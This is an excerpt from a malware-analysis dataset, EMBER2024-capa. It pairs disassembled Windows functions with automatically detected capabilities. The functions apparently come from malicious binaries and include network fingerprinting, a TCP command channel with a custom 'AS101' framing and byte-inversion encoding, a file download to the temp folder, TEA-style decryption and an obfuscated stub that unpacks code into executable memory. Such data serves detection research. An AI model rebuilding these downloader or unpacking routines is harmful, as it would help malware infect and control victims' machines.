joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403a20
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, 0x3a98
push edi
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], ecx
xor ebx, ebx
mov dword [ebp - 8], eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x403b2d
lea eax, [ebp - 8]
push eax
push esi
push 0
push 0x10
push 2
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov edi, eax
cmp edi, 0x6f
jne 0x403a87
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc ebx
cmp edi, 0x6f
jne 0x403a97
cmp ebx, 3
jae 0x403b01
mov eax, dword [ebp - 8]
jmp 0x403a43
test edi, edi
jne 0x403b01
mov eax, esi
test esi, esi
je 0x403afd
cmp dword [eax + 0x34], 6
jne 0x403aad
cmp dword [eax + 0x1c], 0
jne 0x403ab8
mov eax, dword [eax + 8]
test eax, eax
jne 0x403aa1
xor edi, edi
jmp 0x403b06
mov ecx, dword [eax + 0x2c]
mov edx, dword [ebp - 0xc]
mov dword [edx], ecx
mov cx, word [eax + 0x30]
mov word [edx + 4], cx
mov ecx, dword [eax + 0x10]
mov edx, dword [ebp - 0x10]
mov ecx, dword [ecx + 0xc]
movzx ecx, byte [ecx + 4]
mov byte [edx + 3], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
movzx ecx, byte [ecx + 5]
mov byte [edx + 2], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
movzx ecx, byte [ecx + 6]
mov byte [edx + 1], cl
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 7]
mov byte [edx], al
xor edi, edi
jmp 0x403b06
mov edi, 0xfffffffd
test esi, esi
je 0x403b1a
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
or eax, 0xffffffff
pop ebx
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
Function at 0x404000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b4
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
test eax, eax
lea esi, [ebp - 0x808]
cmovne esi, eax
xor eax, eax
push edi
mov edi, dword [ebp + 8]
mov word [esi], ax
mov dword [ebp - 0x80c], eax
lea eax, [ebp - 0x9b0]
push eax
push 0x101
mov dword [ebp - 0x9b4], edx
mov ebx, ecx
xor esi, esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x404065
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi], eax
cmp eax, 0xffffffff
je 0x404052
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4040a5
push ebx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x80c], eax
push 4
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x4040fe
mov eax, dword [eax + 0xc]
push dword [ebp - 0x9b4]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x818], eax
mov eax, 2
mov word [ebp - 0x81c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x81a], ax
push 0x10
lea eax, [ebp - 0x81c]
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x4040fe
mov esi, 1
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
mov ecx, dword [edi]
test ecx, ecx
je 0x40410d
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi], esi
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404a1a
mov esp, ebp
pop ebp
ret

Function at 0x404290
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov eax, ecx
push esi
xor esi, esi
mov ebx, edx
mov dword [ebp - 8], eax
cmp dword [eax], esi
je 0x404318
push edi
mov edi, dword [ebp + 8]
xor eax, eax
test edi, edi
jle 0x4042b8
nop
not byte [eax + ebx]
inc eax
cmp eax, edi
jl 0x4042b0
lea eax, [edi + 7]
push eax
call fcn.00406147
mov ecx, eax
lea eax, [edi + 5]
mov word [ecx], ax
mov eax, dword [str.AS101]
mov dword [ecx + 2], eax
mov al, byte [0x418f14]
push edi
mov byte [ecx + 6], al
lea eax, [ecx + 7]
push ebx
push eax
mov dword [ebp - 4], ecx
call fcn.00409260
mov eax, dword [ebp - 8]
add esp, 0x10
lea ebx, [edi + 7]
mov edi, dword [ebp - 4]
push 0
push ebx
push edi
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40430e
mov ecx, 1
cmp eax, ebx
cmove esi, ecx
push edi
call fcn.0040653b
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404520
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8dc
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp + 0xc]
push esi
test eax, eax
lea esi, [ebp - 0x8cc]
cmovne esi, eax
xor eax, eax
mov word [esi], ax
mov esi, dword [ecx]
xor ebx, ebx
mov dword [ebp - 0x8d0], edx
mov dword [ebp - 0x8d8], ecx
test esi, esi
je 0x404691
test edx, edx
je 0x404691
push 0xc7
mov byte [ebp - 0xcc], al
lea eax, [ebp - 0xcb]
push ebx
push eax
call fcn.00408600
add esp, 0xc
lea eax, [ebp - 0xcc]
push ebx
push 2
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4046a1
test eax, eax
je 0x4046a1
movzx eax, word [ebp - 0xcc]
mov dword [ebp - 0x8d4], eax
add eax, 2
push edi
push eax
xor esi, esi
call fcn.00406147
mov edi, eax
mov eax, dword [ebp - 0x8d4]
add esp, 4
test eax, eax
jle 0x404681
lea ebx, [ebx]
push 0
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
mov eax, dword [ebp - 0x8d8]
push dword [eax]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40467b
test eax, eax
je 0x40467b
add esi, eax
mov eax, dword [ebp - 0x8d4]
cmp eax, esi
jg 0x4045e0
cmp esi, 5
jl 0x404681
mov ecx, str.AS101
sub esi, 5
mov eax, dword [ecx]
cmp eax, dword [edi]
jne 0x404681
movzx eax, byte [ecx + 4]
cmp al, byte [edi + 4]
jne 0x404681
test esi, esi
jle 0x404639
lea ecx, [edi + 5]
mov edx, esi
not byte [ecx]
lea ecx, [ecx + 1]
dec edx
jne 0x404631
mov ebx, dword [ebp - 0x8dc]
mov eax, dword [ebx]
cmp eax, esi
jl 0x404661
push esi
lea eax, [edi + 5]
push eax
push dword [ebp - 0x8d0]
call fcn.00409260
mov dword [ebx], esi
add esp, 0xc
mov ebx, 1
jmp 0x404681
push eax
lea eax, [edi + 5]
push eax
push dword [ebp - 0x8d0]
call fcn.00409260
add esp, 0xc
mov ebx, 1
jmp 0x404681
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test edi, edi
je 0x40468e
push edi
call fcn.0040653b
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
Function at 0x4046c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe24
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x400
lea eax, [ebp - 0x610]
push 0
push eax
mov dword [ebp - 0xe20], edx
mov ebx, ecx
call fcn.00408600
add esp, 0xc
lea eax, [ebp - 0x610]
push ebx
push 0x1ff
push eax
call fcn.00404b5f
mov ecx, ebx
add esp, 0xc
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404710
sub ecx, edx
sar ecx, 1
lea edi, [ebp - 0x60e]
mov esi, 0x41a920
lea edi, [edi + ecx*2]
mov ecx, 0x80
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebx + 2]
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x404737
sub ebx, ecx
sar ebx, 1
push 0x10000
lea ebx, [ebx*2 + 0x202]
call fcn.00405a27
add esp, 4
mov esi, eax
push 0x10000
push 0
push esi
call fcn.00408600
add esp, 0xc
xor eax, eax
push 0x7fe
push eax
mov word [ebp - 0xe10], ax
lea eax, [ebp - 0xe0e]
push eax
mov dword [ebp - 0xe1c], 0x10000
call fcn.00408600
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
xor edi, edi
push eax
mov dword [ebp - 0xe18], 0
mov dword [ebp - 0xe14], edi
call fcn.00408600
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0xe20]
lea eax, [ebp - 0xe10]
push eax
lea eax, [ebp - 0xe18]
push eax
call fcn.00404000
add esp, 8
test eax, eax
je 0x4048be
lea eax, [ebp - 0xe10]
push eax
push ebx
lea eax, [ebp - 0x610]
mov ebx, 0xbba
push eax
mov edx, ebx
lea ecx, [ebp - 0xe18]
call fcn.00404120
add esp, 0xc
test eax, eax
je 0x4048be
lea eax, [ebp - 0xe10]
push eax
lea eax, [ebp - 0xe1c]
push eax
push esi
lea edx, [ebp - 0xe14]
lea ecx, [ebp - 0xe18]
call fcn.00404320
add esp, 0xc
test eax, eax
je 0x4048be
cmp word [ebp - 0xe14], bx
jne 0x4048be
cmp dword [ebp - 0xe1c], edi
je 0x4048be
cmp byte [esi], 0
jne 0x4048be
push 0x41a1a0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404bbb
add esp, 0xc
lea eax, [ebp - 0x210]
push 0x416dbc
push eax
lea eax, [ebp - 0xe14]
push eax
mov dword [ebp - 0xe14], edi
call fcn.00404db2
add esp, 0xc
cmp dword [ebp - 0xe14], edi
je 0x4048b9
lea edx, [ebp - 0xe14]
lea ecx, [ebp - 0xe18]
call fcn.004048f0
mov edi, 1
test esi, esi
je 0x4048cb
push esi
call fcn.00405ab9
add esp, 4
mov eax, dword [ebp - 0xe18]
test eax, eax
je 0x4048dc
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
Function at 0x4048f0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0040b800
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
push edi
push 4
mov esi, ecx
lea eax, [ebp - 0x1008]
push eax
push dword [esi]
mov ebx, edx
mov dword [ebp - 0x100c], esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x404940
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x1008], edi
jbe 0x404990
jmp 0x404950
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
je 0x404990
push dword [ebx]
lea eax, [ebp - 0x1004]
push esi
push 1
push eax
call fcn.0040536a
add edi, esi
mov esi, dword [ebp - 0x100c]
add esp, 0x10
cmp edi, dword [ebp - 0x1008]
jb 0x404950
push dword [ebx]
call fcn.0040519c
mov ecx, dword [ebp - 4]
add esp, 4
cmp edi, dword [ebp - 0x1008]
pop edi
sbb eax, eax
pop esi
xor ecx, ebp
inc eax
pop ebx
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
Function at 0x40f498
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.004068da
mov dword [ebp - 0x14], eax
cmp dword [0x419d84], edi
jne 0x40f589
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x40f516
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40f669
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40f669
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40f669
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x419d84], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x419d88], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x419d8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x419d94], eax
test eax, eax
je 0x40f586
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x419d90], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40f5ae
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40f5a1
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x40f5c3
push 4
pop eax
jmp 0x40f66b
cmp dword [ebp - 0x14], edi
je 0x40f5c3
push dword [0x419d84]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40f5a8
mov eax, dword [0x419d90]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x40f621
cmp dword [0x419d94], esi
je 0x40f621
push eax
call ebx
push dword [0x419d94]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40f621
test eax, eax
je 0x40f621
call ecx
test eax, eax
je 0x40f616
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40f616
test byte [ebp - 8], 1
jne 0x40f621
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x40f651
mov eax, dword [0x419d88]
cmp eax, esi
je 0x40f64e
push eax
call ebx
test eax, eax
je 0x40f64e
call eax
mov edi, eax
test edi, edi
je 0x40f64e
mov eax, dword [0x419d8c]
cmp eax, esi
je 0x40f64e
push eax
call ebx
test eax, eax
je 0x40f64e
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x419d84]
call ebx
test eax, eax
je 0x40f669
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x40f66b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404a1a
leave
ret
Function at 0x4073a0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x8164eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x404604
call fcn.004094a2
push 4
mov dword [esp + 0x18], 0
call fcn.0040acb2
mov edi, eax
add esp, 4
test edi, edi
je 0x407414
push ebx
call fcn.0040929d
mov dword [edi], eax
call fcn.0040905c
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00409463
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x407408
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.0040948b
pop ebx
jmp 0x407416
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x40bba1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x82c3dc]
jne 0x40bbab
repz ret
jmp fcn.0041320c
Function at 0x418a62
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x82c3dc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004112f4
and dword [ebp - 0x14], 0
cmp dword [0x82e9e0], 0
mov dword [ebp - 0x18], eax
jne 0x418b15
push 0x403a3c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x418bbd
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403a30
push ebx
call edi
test eax, eax
je 0x418bbd
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403a20
push ebx
mov dword [0x82e9e0], eax
call edi
push eax
call esi
push 0x403a0c
push ebx
mov dword [0x82e9e4], eax
call edi
push eax
call esi
push 0x4039f0
push ebx
mov dword [0x82e9e8], eax
call edi
push eax
call esi
mov dword [0x82e9f0], eax
test eax, eax
je 0x418b15
push 0x4039d8
push ebx
call edi
push eax
call esi
mov dword [0x82e9ec], eax
mov eax, dword [0x82e9ec]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x418b6e
cmp dword [0x82e9f0], ecx
je 0x418b6e
push eax
call esi
push dword [0x82e9f0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x418b6e
test ebx, ebx
je 0x418b6e
call edi
test eax, eax
je 0x418b65
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x418b65
test byte [ebp - 8], 1
jne 0x418b6e
or dword [ebp + 0x10], 0x200000
jmp 0x418ba1
mov eax, dword [0x82e9e4]
cmp eax, dword [ebp - 0x18]
je 0x418ba1
push eax
call esi
test eax, eax
je 0x418ba1
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x418ba1
mov eax, dword [0x82e9e8]
cmp eax, dword [ebp - 0x18]
je 0x418ba1
push eax
call esi
test eax, eax
je 0x418ba1
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x82e9e0]
call esi
test eax, eax
je 0x418bbd
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x418bbf
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040bba1
leave
ret
Function at 0x8149b0
Capabilities:
Accept command line arguments
Delete directory
Get common file path
Write file on windows

Disassembly:
mov eax, 0x1420
call fcn.00419970
cmp dword [0x26618f4], 0x37
jne 0x814a6f
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x404218
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
lea eax, [esp + 0x824]
push eax
push 0x404230
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edx, [esp + 4]
push edx
push 0
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea ecx, [esp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
lea edx, [esp + 0xc20]
push edx
push 0
push 0x404288
push 0x4042a0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
push 0x40433c
push 0x404354
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov eax, dword [0x2666b24]
mov dword [esp], eax
mov eax, 0x5d1
add dword [esp], eax
mov ecx, dword [esp]
mov dl, byte [ecx + esi]
mov eax, dword [0x26618ec]
mov byte [eax + esi], dl
add esp, 0x1420
ret

Function at 0x814aa0
Capabilities:
Manipulate console buffer

Disassembly:
sub esp, 0x64
mov edx, dword [0x82d8f0]
mov ecx, dword [esp + 0x68]
mov eax, dword [ecx]
push ebx
mov ebx, dword [0x82d8f8]
push ebp
mov ebp, dword [0x82d8fc]
push esi
mov esi, dword [ecx + 4]
mov dword [esp + 0x1c], edx
mov edx, dword [0x82d8f4]
push edi
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], 0xc6ef3720
mov dword [esp + 0x28], 0x9e3779b9
mov dword [esp + 0x24], edx
mov dword [esp + 0x1c], 0x20
jmp 0x814af4
mov eax, dword [esp + 0x18]
mov edx, eax
mov edi, eax
shr edx, 5
shl edi, 4
add edi, ebx
add edx, ebp
xor edx, edi
mov edi, dword [esp + 0x10]
add edi, eax
xor edx, edi
sub esi, edx
mov eax, esi
shl eax, 4
mov dword [0x26618f0], 0
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x20]
add dword [esp + 0x14], eax
mov edi, dword [esp + 0x10]
add edi, esi
cmp dword [0x26618f4], 0x1be
jne 0x814b50
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov ecx, dword [esp + 0x78]
mov edx, esi
shr edx, 5
add edx, dword [esp + 0x24]
mov dword [0x26618f8], 0xff6b3619
xor edx, edi
xor dword [esp + 0x14], edx
mov dword [0x26618fc], 0xffffffff
mov eax, dword [esp + 0x14]
sub dword [esp + 0x18], eax
mov eax, dword [esp + 0x28]
sub dword [esp + 0x10], eax
dec dword [esp + 0x1c]
jne 0x814af0
cmp dword [0x26618f4], 0x8d4
jne 0x814bbb
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x18]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], ecx
pop ebx
add esp, 0x64
ret 4
mov edx, dword [esp + 0x18]
pop edi
mov dword [ecx + 4], esi
pop esi
pop ebp
mov dword [ecx], edx
pop ebx
add esp, 0x64
ret 4
Function at 0x4047ff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40480e
pop dword [ebp - 0x20]
mov eax, 0xb963c175
sub eax, 0xb9237967
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xdcfbeb0a
add dword [ebp - 0x30], 0x71565a41
mov dword [ebp - 0x2c], 0x691c8dc1
sub dword [ebp - 0x2c], 0x36e9417c
mov dword [ebp - 0x28], 0xdba6991f
sub dword [ebp - 0x28], 0x8f5a54f1
mov dword [ebp - 0x24], 0x60be4112
add dword [ebp - 0x24], 0x9f41beee
lea eax, [ebp - 0x30]
push eax
mov eax, 0x92072e94
add eax, 0x6e3c721c
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x3a4e6ef2
sub dword [ebp - 0x30], 0xc5dc059c
mov dword [ebp - 0x2c], 0x23ffa382
add dword [ebp - 0x2c], 0x1d6cbdf3
mov dword [ebp - 0x28], 0x37e0ee83
sub dword [ebp - 0x28], 0xd4718217
mov dword [ebp - 0x24], 0x3f4bd629
add dword [ebp - 0x24], 0xc0b429d7
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3e47e
push 0
call eax
mov ecx, 0xec9685aa
add ecx, 0x1369c25e
mov ebx, eax
mov edi, 0xc798875a
sub edi, 0xc7530d5a
add edi, dword [ebp - 0x20]
mov edx, 0x8f99668a
add edx, 0xadfa9057
xor dword [ebp - 0x10], edx
mov esi, dword [edi]
add dword [ebp - 0x18], 0x76f7be0c
sub esi, edx
xor dword [ebp - 4], 0xe0b98fd6
mov dword [ebx], esi
sub dword [ebp - 8], edx
add ebx, 4
add edi, 0x3b506f63
sub edi, 0x3b506f5f
loop 0x40492b
add eax, 0x112f3
mov ebx, eax
add eax, 0xef700dc8
add eax, 0x108ff23d
mov ecx, 0x8de175f2
sub ecx, 0x8da175f2
add ecx, dword [ebp - 0x20]
call ebx
leave
ret